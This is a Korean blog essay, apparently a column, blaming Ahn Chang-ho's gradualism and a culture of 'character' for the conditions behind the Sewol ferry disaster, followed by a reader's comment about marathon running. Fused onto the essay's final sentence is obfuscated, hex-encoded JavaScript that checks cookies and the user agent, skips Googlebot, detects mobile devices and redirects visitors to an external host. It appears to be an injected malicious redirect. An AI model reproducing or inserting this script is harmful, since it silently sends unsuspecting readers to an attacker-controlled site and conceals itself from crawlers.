도산의 점진주의와 세월호 사건

도산 안창호는  인격적으로 나무랄 것이 거의 없다고 변절자 춘원 이광수는 그의 저서 ‘도산 안창호’에 씁니다.

나 잘났다고 해야 하는 세상에 온 몸을 온전히 조국의 독립을 위한 삶이었지만 개인의 사익을 철저하게 배제했던 점에서 얻은 후한 평가였다고 할 수가 있습니다.

그런 인격의 배후에는 ‘투사의 아내’가 겪었을 헤아릴 수 없는 고통과 아픔, 가장없이 어린애들을 키워냈던   이혜련(안핼랜)여사님과 가정을 등한시 했던 숨겨진 사연들을 아는 흥사단의 원로단우들은 오히려 ‘건전인격’이라는 수식어에 불편함을 토로하는 경우들을 접하면서 필자는 젊은 시절을 보냈습니다.

지금의 기준으로 냉정하게 본다면 ‘건전인격자’가 아니라   ‘가정파탄자’ 가 되기에 부족함이 하나도 없는 그런 활동이겠지요.

그런 지난한 세월을 인격타령이나 하고 있었으니 수많은 사람들이 이 격랑에서

추억과 감상주의에 빠져버려서 무엇을 할 수 있는 지 조차 모를 딜레마에서 헤어 나지를 못하는 것은 당연하다고 할 것이다.

이러니 ‘인격’이라는  한마디가 얼마나 많은 활동들을 위축시켜버리고, 그 알량한 ‘인격’ 앞에  본질을 흐려버리고,  실제로 사회변화를 갈망하는  수 많은 사람들을 주춤거리게 만들어 버리는 가를 우리는 잊지 말아야 할 것 입니다.

이를테면 노무현을 공격하는 사람들의 한결같은 주문도, 유시민을 몰아부쳤던 사람들도’ 인격’을 들먹거렸다. 수긍을 못하는 것은 아니지만 진절머리가 난다.

그리고 흥사단이 창립한 101년 후에 세월호가 침몰합니다.

 

활동가 도산의 운동방법에는 ‘점진주의’라는 것이 나옵니다. 현실적이면서도 가장 비판을 많이 받아왔기 때문에 그 비판을 받아내고 해명하느라고 한동안 흥사단은 많은 희생과 내부역량을 소모합니다.

백범의 무장투쟁론과 이승만의 국제외교론, 박용만의 무장봉기론등에 비교해 보면 보편적 한국인의 의식상황을 가장 잘 이해했던 현실적 대안임과 동시에 적절한 조화와 균형을 강조한 듯하니 특히 백범계로부터 비겁하다는 공격과 함께 그런식으로는 결국에는 아무것도 남지 않을 것이라는 비아냥들을 감내해야 했습니다.

그래도 인격만을 붙들고 있습니다.  ‘가만히 있으라’ 하면 가만히 있어야 인격자가 되고,  죽더라도 ‘누구더러 가만히 있으라고 하느냐’  고, 그것도 점찮게 말해야 한다고만 다독입니다.

100년이 지난 지금 흥사단은 존재 의미를 떠나  아직까지 뭐를 할런지는 모르지만 남아 있고, 백범계는 흔적이 많이 없어져 버렸습니다.

저는 그게 옳지 않았다는 것, 백범계가 역사를 주도했어야 옳았다는 말씀을 드리고자 합니다.

 

결론부터 말씀드리자면 시간싸움에서는 이겼을 지 몰라도 세월호와 같은 거대한 암덩어리를 한국에 남겨 놓는데 일조, 방관했다 아니할 수가 없습니다.

 

점진주의는 말 그대로 개조론의 사상입니다. 급한 마음에 모든 걸 개혁하자는 급진주의에 대한 현실론입니다. 차근차근해 나가자. 기초부터. 국민생활 전반, 아주 시시콜콜하지만 청소나, 목욕자주 하라는 이야기까지 나옵니다. 내면의 습성도 고치자고 합니다. 거짓말 하지 말기 남의 비판에 앞서 자신부터 반성하기등 한사람 한사람이 건전해지고 그런 한사람들이 모여 국가 사회와 나아가 민족부흥에 이른다는 내용이 그 주된 것입니다.

논리도 정연하고 듣기에도 무리가 전혀없습니다.

달리 비판받을 내용이 하나도 없습니다.

그리고 그는 그런 모든 걸 솔선합니다.  공은 동지에게 돌리고 어려운 일은 먼저 맡습니다.

 

그런데 그런데 왜 세월호 같은 일은 터졌을까요 ?

새누리 잡당 때문에요 ?

진보적 사관과 그런 이념에 순간 도취된 이땅의 수많은 지성(?)들이 도산의 이런 점진주의 속에 매몰되어 가는 걸 저는 지금 지켜보고 있습니다.

지금 같은 국민적 역량이면 구태어 무장투쟁론이나 무장봉기론까지 가지 않아도 충분하다는 개인적인 생각을 갖고 있습니다.

 

여기에서 도산이 100년전에 추구했던 내용들과 상충되는 재미있는 변화들을 발견합니다.

한마디로 ‘비겁한 조선의 지성’ , ‘일탈한 엘리트 주의’, ‘돈벌이 기계가 되어버린 선비정신’ 이렇게 될 걸 도산은 여지없이 간과해 버렸다는 탄식을 이 아침에 해 보는 것입니다.

제 2의, 제 3의 ‘도올 김용옥은 어디에 있습니까 !

 

언제간 칼럼에 올렸던 전 고려대 총장 김준엽에서 언급드렸던 기억이 납니다.

삼고초려가 아니라 12고초려를 했어도 움직일 수 없었던 그의 기개나 조선의 선비정신은 어디에 가 버렸나 !

잃어버린 선비정신만큼 세월호는 앞으로도 계속 터질 가능성이 농후하다.

 

아울러 선과 악의 차이는 정말로 51 ; 49입니다만 오히려 더 구분이 안될 수도 있습니다.

그러나 그 결과는 이렇게 엄청나다.

이런 결과 까지를 애써 외면하면서까지 조화와 화합, 균형을 통한 현실론은 제2의 점진주의로 빠져들게 하여 위태로울 수가 있다는 소회입니다.

 

“자유여!

영원한 생명이여 !

피흘리지 않고는 거둘  수 없는 거룩한 열매여 !

 

자유와 정의는 우리의 생명, 힘차게 이 길을 함께나가자 ~~~ 삼천만 겨레가 뒤를 잇는다 “

 

4.19에 불려졌던 싯구와 기억되는 노랫말이 세월호 사건과 함께 아려옵니다.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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One Reply to “도산의 점진주의와 세월호 사건”

  1. 누군가 “우리는 왜 갈수록 천박해 지는가” 라고 하면서 탄식을 했습니다
    저도 그 소리를 들으면서 나이가 들수록 천박해지는 내자신을 보면서 부끄러웠습니다
    물질을,,, 경쟁을… 편안함을… 나만의 성을 쌓고…내 이기주위를 채우고…
    창구님의 글을 읽으면서도 어려운 이념을 피할려고 하는 나를 발견하고는 속물이 되었슴을 고백합니다

    목적이 뚜렷했던 내 삶과 당당하고 비굴하지 않던 내 젊은 날에 풋풋한 정신은 어디로 다 사라졌는지 모르겠습니다
    그래도 마라톤을 하면서 이같이 아직도 풋풋한 정신을 가진 사람의 글을 보고 내게 끊임없이 도전을 심어 주는 동료와 그리고 늘 따뜻한 마음씨를 가진 센팍의 동료들 때문에 참을 수 없는 가벼움이 조금씩 치료 되는 듯 합니다

    마라톤은 나를 성숙케하고 잊혀 가는 풋풋함을 되찾게 해주는 것 같습니다